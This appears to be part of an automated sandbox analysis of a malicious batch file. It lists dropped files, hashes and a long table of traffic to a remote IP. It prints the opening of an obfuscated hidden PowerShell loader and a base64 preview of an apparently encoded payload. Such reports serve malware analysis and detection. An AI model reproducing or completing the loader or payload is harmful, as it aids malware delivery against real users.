SHA-512:	02814547A192A50C462CAF742AD9D0CC33588655B9A60916C2165977E16F4577538B6CCEDD2AD1470AE3B596E28D705C09B634B99DD32614AB3AF2185B40A269
Malicious:	false
Preview:	...................................FL..................F.".. ...-/.v.........z.:{.............................:..DG..Yr?.D..U..k0.&...&......vk.v....2+..............t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^.X.D...........................%..A.p.p.D.a.t.a...B.V.1......X.D..Roaming.@......CW.^.X.D...........................3..R.o.a.m.i.n.g.....\.1.....DW.N..MICROS~1..D......CW.^.X.D..........................9D..M.i.c.r.o.s.o.f.t.....V.1.....DWO`..Windows.@......CW.^DWO`..........................d.+.W.i.n.d.o.w.s.......1.....CW.^..STARTM~1..n......CW.^DW.`....................D.....=X..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....DW.N..Programs..j......CW.^DW.`....................@.........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......CW.^DW.`..........................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......CW.^.X.D....Q...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\5XGY2TGM0TXXOAVV8K1P.temp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6221
Entropy (8bit):	3.7396083582095976
Encrypted:	false
SSDEEP:	96:y4J33CxHDfkvhkvCCttgQSuCHugQSu5Hm:y4JyjDt/F/G
MD5:	CB79D11FC4123109D2EED62D35CBDA44
SHA1:	025E6C171643BDA48E9184A81E96653025CC2E9F
SHA-256:	FDE0300CEE364EB2204135260989EC3BD77D1338255C1D6CF5A346CA62C2BF2D
SHA-512:	02814547A192A50C462CAF742AD9D0CC33588655B9A60916C2165977E16F4577538B6CCEDD2AD1470AE3B596E28D705C09B634B99DD32614AB3AF2185B40A269
Malicious:	false
Preview:	...................................FL..................F.".. ...-/.v.........z.:{.............................:..DG..Yr?.D..U..k0.&...&......vk.v....2+..............t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^.X.D...........................%..A.p.p.D.a.t.a...B.V.1......X.D..Roaming.@......CW.^.X.D...........................3..R.o.a.m.i.n.g.....\.1.....DW.N..MICROS~1..D......CW.^.X.D..........................9D..M.i.c.r.o.s.o.f.t.....V.1.....DWO`..Windows.@......CW.^DWO`..........................d.+.W.i.n.d.o.w.s.......1.....CW.^..STARTM~1..n......CW.^DW.`....................D.....=X..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....DW.N..Programs..j......CW.^DW.`....................@.........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......CW.^DW.`..........................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......CW.^.X.D....Q...........

C:\Users\user\AppData\Roaming\Stregmaalene.Dis

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	402576
Entropy (8bit):	5.972100253660503
Encrypted:	false
SSDEEP:	6144:UBbynQMKWxMSirfJ/Ne8xb4dkDVdN7n47HufgTcHWTKgmc9sF92zZu+io9FbzOkI:YGQcxMvJ/txbSCN74Kfk5jmc95zOkY3
MD5:	1FD3B8F732B03362349288C605C47101
SHA1:	70909888DA06BCD7F3AACB373DC1317EA45899C3
SHA-256:	2CC6FBCDA2FA6A521CCF6FEE6D3A0B29A9BA52E2BFBB75E9FAC4378F987E8D9A
SHA-512:	CD3DE642F6A54F0AB08E9FF6C886ED6CD0C781DF7FF4F5C30E5C3016F6DC924D234A4041ADB5E803FA46AD8838AD9122A226C99554368CBE5DC95A8ED74B2A0C
Malicious:	false
Preview:	6wLMsnEBm7tEhh0AcQGbcQGbA1wkBOsCH77rAoHUuUs7HmbrAsP26wKrfIHxdyGqOOsCaoRxAZuB8TwatF5xAZvrAmJbcQGbcQGbuiugLN9xAZtxAZvrApo16wK4hTHK6wKh33EBm4kUC3EBm3EBm9HicQGb6wKuYYPBBOsCtZ5xAZuB+XwczQR8y+sCCvZxAZuLRCQE6wKSMXEBm4nDcQGbcQGbgcONSF4AcQGb6wLgUbozokp6cQGb6wL9sIHCCbVNinEBm+sCC6yB8jxXmARxAZtxAZvrAunA6wLkAnEBm3EBm4sMEHEBm3EBm4kME+sCx35xAZtC6wIrgOsCAoSB+jA1BAB11nEBm+sCNSqJXCQMcQGbcQGbge0AAwAA6wL65OsCs5OLVCQI6wIWvusCU3SLfCQE6wIyKusCaBOJ63EBm3EBm4HDnAAAAOsC12/rArQRU3EBm3EBm2pA6wK2NXEBm4nrcQGbcQGbx4MAAQAAALDtBHEBm+sCoaiBwwABAADrAo5+6wLNgVPrApt/6wKL4YnrcQGb6wL0L4m7BAEAAOsCWzZxAZuBwwQBAADrAnqTcQGbU+sCnPlxAZtq/3EBm+sCPciDwgVxAZvrAkzgMfbrAqR/6wK9mTHJcQGbcQGbixrrAkNV6wIomkHrAllE6wLbQzkcCnXycQGbcQGbRusCjXXrAu4HgHwK+7h13HEBm+sCriGLRAr86wIPb3EBmynw6wKRunEBm//S6wJ1/OsCTKq6MDUEAOsCBetxAZsxwHEBm+sC71qLfCQM6wIFoHEBm4E0BzbZf7/rAvB46wKZ1IPABOsCKPRxAZs50HXj6wLequsCs/CJ++sCWCpxAZv/13EBm3EBm1AuuVQMUJo2cyTH9Rag+7oZP5/DG8bLPtX0JfDuxFZ7vZyC6r88RmaP2bzwML9GZ85YjhbtaEE+x03m4FfgtD7H/P4ebx47sjZkhn2nWBOyNpr6oKhYC7I2k8Z+fFg7

Static File Info

General

File type:	ASCII text, with very long lines (3300), with no line terminators
Entropy (8bit):	5.423827253173567
TrID:
File name:	Doc_004024024001.bat
File size:	3'300 bytes
MD5:	dfdb6404a262056b5e81e9bd0814d8aa
SHA1:	c6f2e620bbe3539d4a962c8b5509445ca0be2333
SHA256:	780eb381525edae3d27084370ae2e02dc4607842ccee9a8daae733475eb699bc
SHA512:	336c641034dfe0c6a192ab411f996f61972d80d22a27d7c79591232d094ac83c09d28400ecf5e5007e7983fc5cae567b5d532b1a0ab369c85a837b92cffa5f71
SSDEEP:	48:9RAMpdrh1ndQFf8pSQzVevq9+PP8qPRoQ2nMfxnDh+9Rr:fAMpdrhtdQFkSQzVO98qv2Ihy
TLSH:	C16194D670075E22E4CE0A063AE763108E27096B0B71AB53B57E91B180B157EF93D9CE
File Content Preview:	start /min powershell.exe -windowstyle hidden "$Slvtjsskabets3 = 1;$Adoptionsbevillingers='S';$Adoptionsbevillingers+='ubstrin';$Adoptionsbevillingers+='g';Function Takilman203($Prefade){$Unconversable=$Prefade.Length-$Slvtjsskabets3;For($Magnetometrical=

File Icon


Icon Hash:	9686878b929a9886

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 25, 2024 10:36:55.450213909 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:56.457088947 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:58.457577944 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:58.665354967 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:58.665508986 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:58.674717903 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:58.882730007 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:58.883883953 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:58.883904934 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:58.883965015 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:58.884835005 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:58.884854078 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:58.884900093 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:58.884958029 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:58.884975910 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:58.884994984 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:58.885013103 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:58.885020971 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:58.885030031 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:58.885061979 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:58.885097980 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:58.885137081 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:59.091728926 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.091768980 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.091789961 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.091808081 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.091821909 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:59.091871023 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:59.092726946 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.092760086 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.092809916 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:59.093146086 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.093166113 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.093219042 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:59.094630957 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.094674110 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.094753027 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:59.094780922 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.094799995 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.094847918 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:59.096632957 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.096652031 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.096699953 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:59.096764088 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.096844912 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.096894979 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:59.097210884 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.097251892 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.097301006 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:59.097321987 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.097357035 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.097403049 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:59.301667929 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.301701069 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.301722050 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.301742077 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.301788092 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:59.301788092 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:59.302536964 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.302556992 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.302596092 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.302624941 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.302628040 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:59.302644968 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.302664995 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.302670956 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:59.302716970 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.302721024 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:59.302738905 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.302777052 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.302795887 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.302822113 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:59.302851915 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:59.302860975 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.302896976 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.302949905 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:59.305341005 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.305377960 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.305480003 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.305504084 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:59.305538893 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.305558920 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.305577993 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.305592060 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:59.305615902 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.305628061 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:59.305723906 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.305773020 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.305782080 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:59.305794001 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.305829048 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.305879116 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:59.305932999 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.305952072 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.305994034 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.306004047 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:59.306041002 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.306062937 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.306081057 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.306087017 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:59.306102037 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.306124926 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:59.306147099 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:59.306170940 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.306189060 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.306205988 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.306246042 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:59.306253910 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.306289911 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.306305885 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.306308985 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:59.306361914 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:59.509500980 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.509533882 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.509582996 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.509603024 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.509622097 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.509641886 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.509644985 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:59.509694099 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.509716034 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:59.509716034 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:59.509763956 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.509810925 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:59.510159016 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.510198116 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.510240078 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.510255098 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:59.510293961 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.510315895 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.510353088 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.510366917 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:59.510389090 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.510394096 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:59.510447979 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.510466099 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.510499001 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:59.510510921 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.510531902 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.510582924 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:59.510584116 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.510631084 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.510674000 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.510683060 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:59.510720015 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:59.510721922 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.510744095 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.510802984 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:59.510826111 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.510883093 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.510934114 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:59.510936022 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.510955095 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.510974884 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.511003971 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:59.511039972 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.511076927 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.511123896 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.511140108 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:59.513191938 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.513242960 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:59.513297081 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.513314962 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.513333082 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.513343096 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:59.513377905 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:59.513411999 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.513478994 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.513542891 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.513561964 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.513595104 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:59.513617039 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:59.513624907 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.513660908 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.513715982 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.513716936 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:59.513784885 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.513804913 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.513824940 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.513837099 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:59.513844967 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.513878107 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:59.513884068 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.513936996 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:59.513952971 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.513972998 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.513993025 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.514028072 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.514041901 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:59.514065981 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.514084101 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.514117956 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:59.514138937 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:59.514149904 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.514168024 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.514185905 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.514214039 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.514235973 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:59.514254093 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:59.514297009 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.514369965 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.514405012 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.514420986 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:59.514498949 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.514517069 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.514534950 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.514550924 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:59.514555931 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.514586926 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:59.514622927 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.514643908 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.514662027 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.514693022 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:59.514699936 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.514712095 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:59.514720917 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.514826059 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.514843941 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.514863968 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.514878988 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:59.514899015 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:59.514911890 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.514949083 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.515007019 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:59.515014887 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.515033960 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.515070915 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.515083075 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:59.515110970 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:59.515136003 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.515156031 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.515204906 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:59.718177080 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.718214989 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.718234062 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.718251944 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.718272924 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.718288898 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.718301058 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:59.718312025 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.718331099 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.718350887 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.718360901 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:59.718370914 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.718379974 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:59.718390942 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.718409061 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.718420029 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:59.718429089 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.718449116 CEST	80	49730	87.121.105.163	192.168.2.4
Apr 25, 2024 10:36:59.718449116 CEST	49730	80	192.168.2.4	87.121.105.163
Apr 25, 2024 10:36:59.718470097 CEST	80	49730	87.121.105.163	192.168.2.4
